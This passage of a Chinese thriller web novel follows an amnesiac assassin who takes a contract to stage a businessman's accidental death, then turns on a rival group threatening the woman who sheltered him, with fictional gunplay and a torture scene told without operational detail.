晚餐的气氛有些沉闷。周玲几次想找话题,都被我简单的“嗯”、“啊”应付过去。奶奶似乎也察觉到了什么,只是默默地吃饭。
“韩冰,”周玲终于忍不住,放下筷子,认真地看着我,“是不是发生什么事了?你可以告诉我,我们一起想办法。”
告诉她?告诉她我是一个被装了**的**,正被我的组织和敌对方同时追杀?告诉她她救回来的不是一个可怜人,而是一个随时可能引来灭顶之灾的灾星?
不。我不能告诉她。
那片黑暗,由我一个人踏入就足够了。
“真的没事。”我勉强地带着笑容:“只是想到一些以前的事,有点乱。”
这是我能给出的,最接近真相的解释。
周玲将信将疑,但看我态度坚决,只好不再追问。“那……你好好休息。别想太多。
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”
别想太多?我怎么可能不想。
深夜,我依旧毫无睡意。那台黑色手机就放在枕头边,像一只窥伺的眼睛。阿杰的话在我脑中回荡:“……清除掉任何可能成为你弱点的人。”
弱点。周玲就是我的弱点。他们看得一清二楚。
时间一分一秒地流逝。24小时的倒计时,如同催命符。
我该怎么办?
就在这时,我的旧手机突然震动起来。不是黑色手机,是周玲给我配的那台。
屏幕上跳动的,是一个陌生的本地号码。
不是阿杰。会是谁?
一种不祥的预感瞬间攫住了我。我深吸一口气,按下了接听键,但没有立刻说话。
电话那头,传来一个经过明显**处理的、冰冷扭曲的声音,带着一丝戏谑的残忍:
“韩冰,或者该叫你‘寒霜’?喜欢我们送你的‘见面礼’吗?”
“灰狗”是他们的人?还是……“勋”?
“听说你失忆了,真可怜。”那个声音继续说道,“不过没关系,我们很快会让你想起来的。用你最在乎的人的血,来帮你恢复记忆……你说,这个主意怎么样?”
“你敢动她一根头发……”我的声音因为极致的愤怒和恐惧而颤抖,杀意不受控制地弥漫开来。
“呵呵……”**的笑声令人毛骨悚然,“别急。游戏才刚刚开始。先给你提个醒,你体内那个小玩意儿,信号似乎不太稳定啊。你说,如果我们稍微干扰一下,把它变成一个……嗯,小小的‘**触发器’,会怎么样?”
**触发器?!
我猛地从床上坐起,全身的肌肉都绷紧了!
“当然,这需要点时间调试。”那个声音慢条斯理地说,“所以,在你被炸成碎片之前,我们玩个捉迷藏吧。看看是你先找到我们,还是我们先拿到你的人头,顺便……收点利息。”
电话被猛地挂断,只剩下忙音。
我握着手机,巨大的恐惧和暴怒如同海啸般冲击着我的理智。
他们不仅知道**,还能远程干扰,甚至可能……将它变成**?!
这不是威胁,这是最后通牒!
我体内的,不是标记,是一颗随时可能被引爆的定时**!而我,还把它带回了周玲家!
不能再等了!
我一秒都无法再忍受这种将致命危险带给周玲的煎熬!
我猛地抓起枕边那台冰冷的黑色手机,几乎没有丝毫犹豫,用力按下了那个唯一的号码。
电话几乎是被瞬间接通的。
“想清楚了?”阿杰的声音传来,仿佛早已预料。
我的声音冰冷:
“地点。任务目标。”
第七章 魔鬼的契约
电话那头,阿杰轻笑了一声:
“明智的选择,韩先生。”他的语调依旧平稳,却透着一股掌控全局的从容,“资料和装备会放在老地方。城南,滨江路17号,‘顺达’货运仓库,B区第七个红色货柜。密码770814。”
770814?这串数字在我脑中一闪而过,没有任何印象。
“任务目标?”我追问,声音冷硬。既然做出了选择。
“资料里有详细说明。你拿到后自行判断执行。组织只看结果,不问过程。”阿杰顿了顿,补充道,“另外,提醒你一句。你体内的那个‘小麻烦’,组织的技术部门可以处理。但前提是,任务完成。”
又是交易。一环扣一环,将我牢牢锁死。
“时限。”我吐出两个字。
“七十二小时。从现在开始计时。”阿杰的声音带上了一丝不容置疑的压力,“超过时限,或者任务失败,不仅‘清除’程序会启动,我们对那对祖孙的‘保护’也会即刻终止。你好自为之。”
“清除程序”……指的是我体内可能被远程引爆的**?还是更直接的物理清除?我没有问,因为答案显而易见。失败,即意味着我和周玲她们的毁灭。
电话被挂断。耳边只剩下冰冷的忙音。
七十二小时。
我胸腔里像是塞满了冰冷的铅块,沉甸甸地往下坠。我最终还是踏出了这一步,主动走回了那片我拼命想要逃离的黑暗。为了活着,更为了保护那缕照进我生命的光。
窗外,夜色浓稠如墨。周玲和奶奶应该已经睡熟了,对这个即将降临的风暴一无所知。
我不能等到天亮。
悄无声息地,我翻身下床。腹部的伤口还在隐隐作痛,但此刻被更强烈的危机感和决绝压了下去。我换上一身最不起眼的深色衣裤,将仅有的少量现金揣进口袋。那台旧手机,我犹豫了一下,最终还是带上了。或许,在彻底沉入黑暗前,我还能听到周玲的声音,哪怕只是一句无关紧要的问候。
我没有留下任何字条。任何解释在此刻都显得苍白而危险。
我像一道融入夜色的影子,再次溜出了这个给予我短暂安宁的避风港。
再见了,周玲。
城南,滨江路。这里远离市中心,多是工厂和仓储区,到了夜晚便显得格外荒凉。路灯稀疏,光线昏暗,将废弃厂房和堆积的集装箱投射出幢幢鬼影。
“顺达”货运仓库很好找。锈迹斑斑的大门虚掩着,我侧身闪入。院内空旷,只有风声穿过破损的铁皮棚顶,发出呜咽般的声响。
B区,第七个红色货柜。
我找到它,那是一个标准的海运集装箱,颜色暗红,我在密码锁上输入那串数字:770814。
“咔哒”一声轻响,锁开了。
一股混合着铁锈和灰尘的气味扑面而来。集装箱内部一片漆黑。我掏出旧手机,点亮屏幕微弱的光,照了进去。
里面空间不大,靠门口放着一个黑色的登山包。
我将其拖出来,打开。
包的最上面,放着一个密封的牛皮纸文件袋。下面,则是冰冷的金属触感。
我将文件袋揣入怀中,然后仔细检查包内的装备。
一把枪,两个备用弹匣,**压得满满的。一把带有锯齿的军用**,刀锋在手机微光下泛着幽蓝的冷光。几张不同身份、但照片都是我的身份证和护照。一沓不同币种的现金。还有一部卫星电话,以及一个火柴盒大小的、没有任何标识的黑色电子设备,暂时不知道用途。
装备专业,且充分考虑了隐匿和生存的需求。这,就是“寒霜”的标准配置。
我拿起那把**,冰凉的金属触感顺着指尖蔓延至全身。一种奇异的感觉涌上心头,不是陌生,而是……熟悉。仿佛我身体的每一个细胞都还记得它的重量,它的握感,以及扣动**时那细微的震动。
我熟练地退出弹匣
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,检查**,上膛,关保险。一系列动作流畅得如同呼吸,根本不需要思考。肌肉记忆,远比大脑的记忆更顽固。
我将**插在后腰,用夹克遮住。**绑在小腿上。现金和证件分散放好。然后,我撕开了那个牛皮纸文件袋。
里面只有薄薄的两张纸。
第一张,是一张打印出来的照片。一个五十岁左右的男人,穿着考究的西装,头发梳理得一丝不苟,面容儒雅,眼神却带着商人的精明与锐利。
目标:林振涛。振涛集团董事长,本市有名的企业家,慈善家。
照片下面,只有一行简单的指令:
“三日内,使其意外死亡。制造不在场证明,清理现场,不得留下任何与组织相关的痕迹。”
意外死亡。制造不在场证明。清理现场。
冰冷的字眼,宣告着一条生命的终结,以及我即将扮演的角色:死神。
第二张纸,是林振涛未来三日的粗略行程安排。包括他常去的几个地点,公司、家、一家高级私人俱乐部。
没有原因,没有背景,没有善恶评判。只有目标,和指令。
这就是“寒霜”的世界。简单,直接,残酷。
我将两张纸揉成一团,塞进嘴里,艰难地咀嚼,然后吞咽下去。
毁掉指令,是本能,也是规矩。
我背起那个沉甸甸的登山包,最后看了一眼这个红色的货柜。
走出仓库,夜风更冷了。我拉高了夹克的领子,将帽檐压得更低。
从现在起,我是韩冰,也是“寒霜”。一个行走在刀锋之上的幽灵,一个为了守护光明而不得不拥抱黑暗的**。
七十二小时。林振涛。
我的目光落在远处城市璀璨的灯火上,那里有周玲安然入睡的小屋,也有我的目标即将陨落的地方。
猎杀,开始了。
而在我体内,那颗不知何时会被引爆的“**”,正随着我的脉搏,一起跳动。
第八章 狩猎与意外
凌晨四点,“蓝调”私人俱乐部后巷。
我像一片枯叶,紧贴在消防楼梯投下的浓重阴影里,与墙壁融为一体。
目标林振涛,就在俱乐部里。根据那份简略的行程,这是他每周雷打不动的“放松”时间,通常会持续到凌晨五点。
我的手指,隔着手套,无意识地虚按在耳垂的位置。这是“寒霜”进入狩猎状态时的习惯吗?我不知道。但它确实能让纷乱的思绪沉淀,让感知如同雷达般向四周扩散。
俱乐部的后门开了,暖黄色的光晕和一阵喧闹的音乐短暂涌出,又被迅速关上的门切断。两个穿着黑西装的壮硕男人先走出来,眼神锐利地扫视着巷子,手按在鼓囊囊的腰间。标准的保镖配置。
然后,林振涛出现了。与照片上那个儒雅的成功商人不同,此刻的他脸色泛红,眼神带着酒后的亢奋,领带松松地挂着,一边走一边对着手机说着什么,语气带着不耐烦。一个穿着性感晚礼服的年轻女子依偎在他身边。
目标已确认。
我的目光越过他们,落在紧随其后的另外两名保镖身上。四人形成一个松散的菱形,将林振涛和那个女人护在中间。站位很专业,视线交叉覆盖,几乎没有明显的死角。
他们走向停在巷子深处的一辆黑色宾利。司机已经下车,拉开了后座车门。
这是个机会。距离约十五米,有遮挡,光线昏暗。如果使**,速射解决保镖,再对目标补枪,整个过程可以控制在十秒内。然后从另一侧翻墙离开。
我的手握住了冰冷的枪柄。肌肉记忆开始苏醒,射击的角度、移动的轨迹、优先击杀的顺序,如同预设程序般在脑中自动生成。
但就在我的食指即将触碰到**的前一刻,一种强烈的违和感攫住了我。
这四个保镖,看似专业,但他们的站位,在某个瞬间,似乎刻意留出了一个微小的、转瞬即逝的缺口,正对着我藏身的方向。就像……一个诱饵?
而且,林振涛的状态。一个白手起家,历经商海沉浮的大企业家,会在凌晨四点,在可能有潜在危险的户外,如此放松地打着电话,甚至带着明显的醉态?
陷阱?
这个念头如同冰水浇头,让我瞬间冷静下来。阿杰说过,这是一次测试,也是一次任务。“勋”的人也可能在暗处。如果这是组织或者“勋”设下的局,我现在动手,无异于自投罗网。
更重要的是,“意外死亡”。当街**,无论如何伪装,都与“意外”相去甚远。
我松开了握枪的手,身体往阴影更深处缩了缩。
林振涛和那个女人钻进了宾利。保镖们迅速上车,车子平稳地驶离了小巷,消失在夜色中。
我没有动,依旧保持着潜伏的姿势。
五分钟,十分钟过去了。
除了远处路过的野猫和风吹动废纸的声响,再无其他。
难道是我多疑了?仅仅是职业保镖的常规警戒?
不。那种被窥视的感觉,虽然极其微弱,但并未完全消失。黑暗中,还有眼睛。
又过了十分钟,确认再无任何异常,我才如同鬼魅般从阴影中走出,沿着预先规划好的撤离路线,无声地离开了这片区域。
第一次接触,放弃了。
回到临时落脚点:一间用**开的不起眼的小旅馆房间。
林振涛比他表面看起来要复杂。他的保镖团队,也绝非普通安保公司的人。那股萦绕不去的窥视感,像一根刺,扎在我的神经末梢。
我从登山包里拿出那个火柴盒大小的黑色电子设备。按照隐约的本能记忆,我将其启动。设备屏幕亮起,显示出一个极其简单的界面,一个不断跳动的绿色光点,和一个模糊的信号强度标识。
这是……**的信号接收器?或者说,是监控我体内那个“小麻烦”状态的设备?
绿色光点代表它还在正常工作?那如果变成红色呢?代表**扰?还是……即将引爆?
我盯着那个绿点,它规律地跳动着,像极了倒计时的秒针。七十二小时,已经过去了近八个小时。
时间在一分一秒地流逝,而我的目标,却像泥鳅一样滑不留手,甚至还可能布下了我看不透的陷阱。
烦躁感开始滋生。作为“寒霜”的那部分本能,叫嚣着用更直接、更暴力的方式解决问题。
我需要更多的信息。关于林振涛,关于他身边的保镖,关于那个可能存在的第三方窥视者。
我打开那台旧手机,犹豫再三,还是拨通了周玲的号码。现在大概是早上七点,她应该起床准备
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上班了。
电话响了好几声才被接起。
“喂?韩冰?”周玲的声音传来,带着刚睡醒的慵懒,还有一些……鼻音?像是哭过?
“是我。你……怎么了?”
“没,没什么。你去哪了?”她急忙否认,但声音里的哽咽掩饰不住,“就是……就是昨天和冷艳姐有点不愉快。她向经理投诉我,说我工作态度不端正……可能,可能会影响转正。”
冷艳。那个处处与她为难的女人。
一股无名火骤然窜起。在我为了她的安危,不得不重新堕入地狱,与阴影搏杀的时候,她却在那个小小的酒店里,受着这种微不足道却又切实伤人的委屈。
而我,甚至不能在她身边,哪怕只是递上一张纸巾。
“需要我……”我几乎要脱口而出“需要我帮你处理吗”,但话到嘴边,硬生生刹住。我能怎么处理?用“寒霜”的方式吗?
“需要我做什么吗?”我改口,也没告诉她我去哪了。
“不用了,我自己能处理好。”周玲吸了吸鼻子,努力让自己的声音听起来轻松些。
我看着房间里散落的**和那个闪烁着绿光的死亡倒计时,喉咙像是被什么堵住了。
又说了几句无关痛痒的安慰,我匆匆挂断了电话。
我必须尽快完成任务。只有解决了体内的**和组织那边的压力,我才能真正获得喘息之机,才有可能……回到她身边,用“韩冰”的方式,去保护她。
我重新拿起林振涛的行程表。今天上午,他会去城西的振涛集团总部大楼。
那里,人群密集,监控遍布,安保森严。看似更难下手,但也许混乱能掩盖真正的“意外”。
我收起所有装备,将抢重新检查一遍,塞入腋下的枪套。**绑回小腿。
我拉开门,走进清晨略显清冷的阳光里。
目标,振涛集团。
而就在我走出旅馆,融入街道人流的那一刻,马路对面,一辆一直停着的银色轿车里,一个戴着鸭舌帽的男人,放下了手中的望远镜,拿起手机,低声说了此什么。
随后,银色轿车缓缓启动,如同一条毒蛇,悄无声息地滑入车流,远远地吊在了我的身后。
狩猎,仍在继续。
但谁才是真正的猎人?
第九章 死亡预告
振涛集团总部大楼。
我混在早晨上班的人流中,走进了这栋气势恢宏的建筑。身穿深色夹克,普通的工装裤,手里拿着一个文件夹,看起来和周围那些行色匆匆的白领并没什么不同。只有我自己知道,腋下的枪套里藏着冰冷的杀意,小腿上绑着锋利的**。
大堂极高,光可鉴人的大理石地面映出忙碌的人影。前台,安检门,穿着制服的保安目光警惕地扫视着每一个进入的人。摄像头无处不在,像一只只冰冷的眼睛。
这里不是动手的地方。
我的目标是观察,确认林振涛的抵达,寻找他日常动线中的规律和……可能的破绽。
我在休息区找了个不显眼的位置坐下,摊开文件夹,假装在看资料,眼角的余光却锁定着大堂的入口和通往高层专属电梯的通道。
时间一分一秒地过去。上班高峰逐渐平息,大堂恢复了秩序后的安静。
八点五十分。一阵轻微的骚动从专属电梯方向传来。几名穿着黑西装的保镖率先出现,迅速清场,隔开了无关人员。然后,林振涛出现了。
与凌晨在俱乐部后巷见到的那个略带醉意的男人判若两人。此刻的他,穿着一身熨帖的深蓝色高定西装,头发一丝不乱,面容沉静,眼神锐利,步伐沉稳有力。他被保镖簇拥着,气场强大,目不斜视地走出电梯。
他来了。
我低下头,用文件夹遮挡住大半张脸,心脏不受控制地加速跳动。不是紧张,而是一种猎物进入视野的兴奋感,属于“寒霜”的那部分本能正在苏醒。
就在他即将踏出电梯的那一刻。
一个穿着快递员制服、戴着帽子和口罩的男人,突然从一根柱子后面冲了出来,手里没有包裹,只有一个巴掌大小的黑色物体,猛地向林振涛的方向掷去!
“小心!”保镖的反应极快,其中一**吼着扑向林振涛,用身体将他护住,另外两人则迅速拔枪,对准了那个“快递员”。
整个大堂瞬间炸锅!尖叫声,奔跑声,桌椅碰撞声此起彼伏。
那黑色物体并没有**,而是在空中“噗”地一声,爆开一大团浓密的、刺鼻的红色烟雾!迅速弥漫开来,遮挡了视线。
不是刺杀,是制造混乱?
我的身体瞬间绷紧,手按在了枪柄上。这是个机会?还是另一个陷阱?
在一片混乱和红色的烟雾中,我看不清林振涛的具体情况,只听到保镖们紧张的呼喝和对讲机里传来的嘈杂指令。
“目标安全!重复,目标安全!”
“封锁所有出口!”
“抓住那个人!”
那个“快递员”并没有试图靠近林振涛,而是转身就往大门口跑。
调虎离山?
几乎就在这个念头闪过的同时,一种极其细微的、几乎被混乱完全掩盖的声音,传入了我的耳中。
是某种机械结构运转的、极其轻微的“咔哒”声。来自我的斜上方!
我猛地抬头!
透过尚未完全散去的红色烟雾,我看到在大堂二楼环绕的走廊栏杆后面,一个模糊的人影一闪而过!他手里端着的,是……一支伪装成雨伞或者拐杖的长管装置?!
真正的杀招在这里!
我的大脑来不及思考,身体已经做出了反应。不是去救林振涛,而是自保和寻找真相!这个狙击手,是“勋”的人?还是组织派来灭口或者监督我的?
我猛地从座位上弹起,没有冲向大门,而是借着尚未散尽的烟雾和混乱人群的掩护,如同鬼魅般奔向最近的消防通道入口。
“砰!”
一声轻微到几乎被噪音完全淹没的枪响。
紧接着,是人群中爆发出的一声更加凄厉的尖叫!
“啊——**了!!”
我心头一凛。得手了?林振涛**?
我顾不上确认,推开消防通道的门,沿着楼梯向上狂奔。我必须抓住那个狙击手!他可能是解开眼前迷雾的关键!
我的速度极快,脚步声在空旷的楼梯间里回荡。二层,三层……声音是从二楼传来的!
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>我猛地推开二层消防通道的门,冲进走廊。走廊里空无一人,只有远处传来楼下大堂持续的骚动声。
在哪里?
我的目光锐利地扫过每一个角落。
突然,我在栏杆旁的地面上,看到了一样东西。
一张折叠起来的白色纸条。
它被遗弃在那里,像是一个故意的标记。
我快步走过去,捡起纸条。纸条里似乎包着什么东西。
打开看见里面包裹着一枚细长的、闪着幽蓝冷光的:**的弹壳。
而纸条上,用打印字体印着一行简短的字:
“‘寒霜’,这份‘意外’礼物,喜欢吗?——勋”
我的血液,瞬间冰冷。
“勋”!果然是他們!
他们不仅知道我的行动,知道我的代号,甚至还抢先一步,在我面前导演了这样一场“意外死亡”的戏码!他们是在**,是在嘲笑,是在告诉我,我的一切都在他们的掌控之中!
林振涛**吗?如果**,死在了“勋”的手里,那我的任务算什么?组织会认定是我完成的,还是判定我失败?
那枚冰冷的弹壳在我掌心滚动,带着硝烟和死亡的气息。
楼下,警笛声由远及近,尖锐地撕裂空气。
我必须立刻离开这里。
我将纸条和弹壳攥紧在手心,转身再次潜入消防通道,向下撤离。
我的心沉入了谷底。情况远比想象的复杂。“勋”不仅是要我的命,他们还在**我,将我卷入他们设计好的剧本里。
而组织,阿杰……他们知道“勋”会插手吗?这次任务,到底是对我能力的测试,还是……借刀**的阴谋?
在我踏出振涛集团大楼后门,重新融入阳光下的街道时,我感觉自己仿佛从一个噩梦,跌入了另一个更深的、更冰冷的噩梦。
我体内的那个绿色光点,依旧在规律地跳动着。
时间,还剩六十五小时。
猎人与猎物的界限,已经模糊。
我,究竟是谁的棋子?
第十章 致命游戏
阳光正刺眼,街道上车水马龙,喧嚣而富有生命力。
我站在振涛集团大楼的阴影里,却感觉像是刚从冰窟中爬出,周身萦绕着驱不散的寒意。
掌心那枚狙击弹壳硌得生疼,纸条上“勋”那个字,如同烧红的烙铁,烫在我的视网膜上。
他们就在暗处看着我,算计着我,甚至……替我完成了任务?不。事情绝不会这么简单。“勋”大费周章,绝不会只是为了帮我完成任务。这是挑衅,是宣战,更是要将我逼入绝境的毒计。
如果林振涛真的**,死在众目睽睽之下的“狙击意外”中,组织会怎么想?阿杰会相信这与我无关吗?他们只会认为我无能,或者更糟,认为我与“勋”勾结。届时,不需要“勋”动手,组织内部的“清除程序”就会率先要了我的命。
我必须确认林振涛的生死!我快步走向不远处的一个公共电话亭,投币,拨通了振涛集团前台的号码,刻意压低了声音,模仿着焦急的记者口吻:“喂?你好!我是都市快报的记者,听说贵公司大堂刚刚发生了枪击事件?请问林振涛董事长他……”
“对不起,无可奉告!目前情况正在调查中!”前台小姐的声音带着惊慌和职业性,随即挂断了电话。
但这并不能说明什么。我又尝试拨打了几个本地新闻热线,得到的回复都是“事件正在核实,暂无确切消息”。消息被封锁了。这本身,就透着不寻常。
是林振涛背后的势力在运作?还是……组织或者“勋”在干扰?
我靠在电话亭冰冷的玻璃上,感觉太阳穴突突直跳。敌暗我明,信息闭塞,每一步都像是走在雷区。这种失控的感觉,几乎要将我逼疯。不行,不能自乱阵脚。
我强迫自己冷静下来,重新梳理。
假设林振涛没死,“勋”的这次行动失败,他们必定会有后续。假设林振涛**,组织那边很快就会得到消息,我的时间会更加紧迫。无论是哪种情况,我都必须主动出击,找到“勋”的尾巴。
我拿出那个火柴盒大小的黑色设备。屏幕上的绿色光点依旧在规律跳动。但就在我注视它的几秒钟内,那绿光极其微弱地、闪烁了一下,频率似乎有了一丝极其细微的紊乱。
不是错觉!
“勋”提到过,他们可以干扰这个信号,甚至将它变成**触发器。他们已经开始动手了!冷汗瞬间浸湿了我的后背。这东西不再只是一个标记,它真的成了一颗埋在我身体里的遥控**!“勋”可以随时用它来要挟我,或者……直接清除我。
时间,真的不多了。
我必须在“勋”彻底掌控这个**,或者在组织判定我任务失败之前,破局!就在这时,我口袋里的旧手机震动了起来。
是周玲。
我接起电话。
“韩冰!”周玲的声音带着哭腔,充满了恐惧和无助,“刚才……刚才有好几个穿着黑西装的人来家里!他们说是物业检查燃气管道的,但是……但是他们看起来好吓人,一直在问你在哪里!问你什么时候回来!”
我的心猛的惊了一下!浑身的血液几乎逆流!他们找到周玲了!
“勋”的人,还是组织的人?
“你怎么样?奶奶怎么样?”我的声音瞬间绷紧,带着无法掩饰的杀意。
“我们没事……他们没对我们怎么样,就是问了很久,然后走了。”周玲的声音还在发抖,“韩冰,你到底在外面做什么?他们是什么人?我好害怕……”
听着她带着哭音的质问,我仿佛被人扼住了喉咙,窒息感排山倒海而来。
我把她卷入了这场致命的漩涡,却连一句真相都无法给她。
“听着,周玲,”我打断她,声音低沉而急促,“听着!现在,立刻带着奶奶,离开家!去找个酒店,或者去你信得过的朋友家也行,暂时住下!不要告诉任何人你们的行踪!手机也暂时关机!听到没有?!”
“为……为什么?到底怎么了?”周玲被我的语气吓到了。“没时间解释了!照我说的做!现在!马上!”我几乎是低吼出来。电话那头沉默了几秒,然后传来周玲带着哽咽:“好!我……我知道了,你一定要小心。”电话被挂断了。
我握着手机,巨大的愤怒和恐惧如同岩浆在我胸腔里奔涌、咆哮!他们竟然真的敢!竟然真的去动周玲!底线已经被打破。
“勋”……你们这是在玩火!我眼中的最后一丝犹豫和迷茫彻底消失,取而代之的,是“寒霜”那冰冷彻骨、不含一丝感情的杀意。
既然你们要玩,那我就陪你们玩到底!我没有再去试图打探林振涛的消息。
那已经不重要了。
现在,猎杀的目标,需要暂时改变了。我拿出那台黑色手机,主动拨通了阿杰的号码。
电话几乎瞬间被接通。“韩先生?”阿杰的声音依旧平稳,“振涛集团的事情
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,你知道了吧?”我直接问道,声音冷得像冰。
“略有耳闻。一场……拙劣的模仿秀。”
模仿秀?他认为是有人模仿“意外死亡”的手法?还是暗示这是“勋”在模仿我“寒霜”?
“我不管那是什么。”我的语气强硬起来,“就在刚才,有人骚扰了我的‘室友’。阿杰,我记得你说过,‘保护’是交易的一部分。”“……确有此事。”阿杰承认了,“看来‘勋’的人,比我们想象的更按捺不住。这破坏了游戏规则。”游戏规则?看来在他们眼里,这一切都只是游戏?“我要求支援。”我提出条件:“‘勋’在本市的据点,人员,任**息。否则,任务无法继续。或者,你可以现在就直接启动‘清除程序’。”我这是在赌。
赌组织还需要我,赌他们对“勋”的忌惮胜过对我的不满。电话那头陷入了的沉默。我能想象阿杰在那头权衡利弊。几十秒后,他的声音再次响起,带着一丝妥协:“信息会发送到你的卫星电话上。仅限于此。另外,提醒你,韩先生,你的时间,还剩六十一小时。组织的耐心,是有限的。”
“咔。”电话挂断。几乎同时,放在登山包里的那部卫星电话屏幕亮了起来,一份加密文件正在传输。
赌赢了。
我快步回到旅馆,反锁房门,打开卫星电话。文件已经接收完毕,需要密码。我想起了货柜的密码,770814。输入文件解锁。
里面是一份不算详细,但足够触目惊心的资料。列出了“勋”组织在本市已知的三个疑似安全屋地址,以及几个外围成员的照片和化名。其中一张照片,让我瞳孔骤然收缩,正是那个在振涛集团大堂冒充快递员,投掷***的男人!找到了!我的目光如同实质的刀锋,刮过照片上那张略显模糊的脸。
我迅速检查装备,抢压满**,**重新打磨锋利。将卫星电话和那个监控体内**的设备贴身放好。
窗外,天色渐晚,暮色四合。城市华灯初上,霓虹闪烁,掩盖着其下涌动的黑暗与血腥。
我拉上夹克拉链,将帽檐压到最低,遮住我眼中汹涌的杀意。
“勋”,你们不是喜欢玩游戏吗?那就让我们看看,谁,才是这场致命游戏里,最后的猎杀者。
我推开门,再次融入夜色。这一次,我不再是猎物,也不再是棋子。我是“寒霜”。
带来死亡与冰霜的复仇之魂。
第十一章 以牙还牙
夜色是最好的掩护,也是罪恶最佳的温床。
根据阿杰提供的情报,我锁定了距离最近的一个“勋”的组织安全屋:位于老城区边缘的一栋待拆迁居民楼。这里鱼龙混杂,流动人口多,失踪个把人,就像石子投入臭水沟,连个涟漪都不会有。
很符合他们藏污纳垢的风格。
我没有选择从正门进入。那栋破败的楼房门窗大多破损,我像壁虎一样,利用外墙的破损处和裸露的管道,悄无声息地攀上了三楼,目标房间的窗户虚掩着,里面没有灯光。
我如同滑入的阴影,落在房间内。一股浓烈的烟味、泡面味和某种金属润滑油的混合气味扑面而来。
房间里很乱,几张破旧的沙发,满地烟蒂和空啤酒罐,角落里堆着几个黑色的行李袋。
没有人。
但我能感觉到,这里不久前还有人活动。空气中有残留的温度和气息。
我的目光落在那些行李袋上。过去,拉开其中一个的拉链。
里面是几件换洗衣物,一些压缩饼干和瓶装水。另一个袋子里,则是一些专业的监听设备和几部无法追踪的老式手机。
第三个袋子,比较沉。我拉开拉链,震惊了。
里面全是武器。几把黑市常见的**,备用弹匣,甚至还有两把**。而在这些武器的旁边,放着一个小型的、带屏幕的电子设备,样式与我那个监控体内**的设备极为相似,但更大一些,屏幕上显示的不是绿色光点,而是一个不断移动的红色坐标!
坐标的位置……正在城市中移动,方向似乎是……朝着周玲家所在的区域?!
他们还在追踪周玲?!或者说,他们正在派人去找她?!
怒火瞬间冲垮了理智的堤坝!他们竟然还敢……
我一把抓起那个追踪设备,死死盯着那个移动的红色光点,杀意如同实质的冰棱,在胸腔内疯狂生长。
必须阻止他们!必须让他们付出代价!
我迅速将房间内有价值的东西扫荡一空,特别是那个追踪设备和几部手机。然后将那些武器重新藏好,只拿走了两个装满**的备用弹匣。
做完这一切,我再次化身阴影,从窗口跃出,沿着来路返回。
我隐入巷道的黑暗,拿出从安全屋顺来的其中一部老式手机,开机。没有卡,但可以拨打紧急号码。
我凭着记忆,拨通了周玲之前提到过的、她一个要好的同事小杨的电话。
电话响了很久才被接起,一个带着睡意的女声警惕地问:“喂?谁啊?”
“我找周玲。”我压低声音,语速极快,“我是韩冰。”
对面沉默了一下,然后我听到了周玲有些颤抖的声音接过电话:“韩冰?是你吗?”
听到她的声音还安全,我悬着的心稍微落下一点。“是我。你们现在在哪里?安全吗?”
“我们在……在小杨家附近的一个快捷酒店。”周玲的声音带着后怕,“我们刚办完入住。怎么了?是不是那些坏人……”
“听着,”我打断她,语气严峻,“他们可能还在找你们。从现在开始,不要相信任何人!包括酒店前台!立刻离开那个房间,换一家酒店,不要用身份证登记,用现金支付,找那种不需要登记身份的小旅馆!明白吗?”
“为……为什么?我们刚……”
“照做!别问了,现在就换地方。”我的声音带着不容置疑的严厉,“保持这部手机开机,但不要主动联系任何人!等我消息!”
“……好,我们马上走!”周玲被我的语气吓到了,但立刻答应下来。
挂断电话,我看着手中那个追踪设备。屏幕上的红色光点,果然改变了方向,开始朝着周玲她们原本所在的快捷酒店移动。
果然!他们就是冲着周玲去的!
我的眼神彻底冰冷。不能再等了。
我拿出那台黑色手机,再次拨通阿杰的号码。
“韩先生?”阿杰的声音带着一丝讶异,似乎没料到我这么快又联系了他。
“给我‘勋’那个快递员的实时位置。”
“……”阿杰沉默了一下,似乎在评估,“理由?”
“他正在靠近我的‘保护目标’。”我冷冷说:“或者,你想看到交易提前破裂?”
电话那头传来一声极轻的、几乎听不见的吸气声。片刻后,阿杰的声音恢复平静:“信息发送到你的卫星电话。韩先生,注意分寸。”
“分寸?”我怒气地吼道,“我的分寸,就是他们动她一根头发,我断他们十指连心。”
不等他回应,我直接挂断电话。
卫星电话屏幕亮起,一个精确的GPS坐标正在地图上快速移动,旁边附带着一张更清晰的照片,正是那个“快递员”,真名叫马仔强,一个混迹地下格斗场的打手,最近被“勋”吸纳。
坐标显示,他正骑着一辆摩托车,高速穿行在城市的夜路上,方向明确,就是周玲她们之前入住的那家快捷酒店。
很好。
我收起所有设备,将枪上膛,打开保险。身影如同融入夜色的猎豹,朝着坐标方向,疾驰而去。
十分钟后,我出现在一条通往那家快捷酒店的必经之路:一条相对僻静、灯光昏暗的辅路旁。这里有一个废弃的公交站台,可以提供很好的视野和掩护。
我隐藏在站台的阴影里,耐心等待着猎物的到来。
远处,摩托车的引擎声由远及近。
来了。
我的呼吸平稳,心跳甚至比平时更慢。所有的杂念都被摒弃,只剩下最纯粹的猎杀本能。
摩托车灯的光柱扫过路面,越来越近。车上的人戴着全覆式头盔,看不清脸,但体型和衣着,与照片上的马仔强完全吻合。
就是现在!
在他即将驶过站台的那一刻,我猛地从阴影中蹿出,没有开枪,而是狠狠一脚踹在摩
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托车的后轮上!
“哐当——!”
巨大的冲击力让摩托车瞬间失控,带着刺耳的摩擦声,猛地侧滑出去,撞在了路边的隔离墩上!车上的人被巨大的惯性甩飞出去,重重砸在地上,翻滚了好几圈才停下。
我如同鬼魅般跟上,在他挣扎着想要爬起,伸手摸向腰间武器的瞬间,我的脚已经狠狠踩在了他**的手腕上!
“咔嚓!”清晰的骨裂声。
“啊!”凄厉的惨叫被头盔闷住,显得扭曲而沉闷。
我弯腰,扯掉他的头盔,露出一张因剧痛而扭曲的、布满横肉的脸。正是马仔强。
他的眼神里充满了惊恐和难以置信,死死盯着我,仿佛在看一个从地狱爬出的恶鬼。
“你……你是谁?!”
我没有回答。只是用冰冷的枪口,抵住了他的眉心。
然后,我拿出了那台显示着红色追踪光点的设备,屏幕几乎要贴到他的脸上。
“这个东西,”我的声音如同刮过冰原的寒风,“怎么关掉?”
马仔强看着屏幕上的光点,脸上血色尽褪。“我……我不知道……我只是按吩咐做事……”
“吩咐?”我脚上的力量加重,碾磨着他碎裂的手腕。
“啊!是……是上面!上面给的设备……说……说跟着红点走……找到那个女人……”他痛得语无伦次,“关……关不掉!除非……除非毁掉主机……”
主机?就是安全屋里那台更大的设备?
“谁给你的命令?”我追问,枪口用力顶了顶。
“不……不知道!单线联系!代号……代号‘渔夫’!”
渔夫!又是这个代号!在振涛集团,那个窥视者汇报时,也提到了“渔夫”!
“他在哪里?”
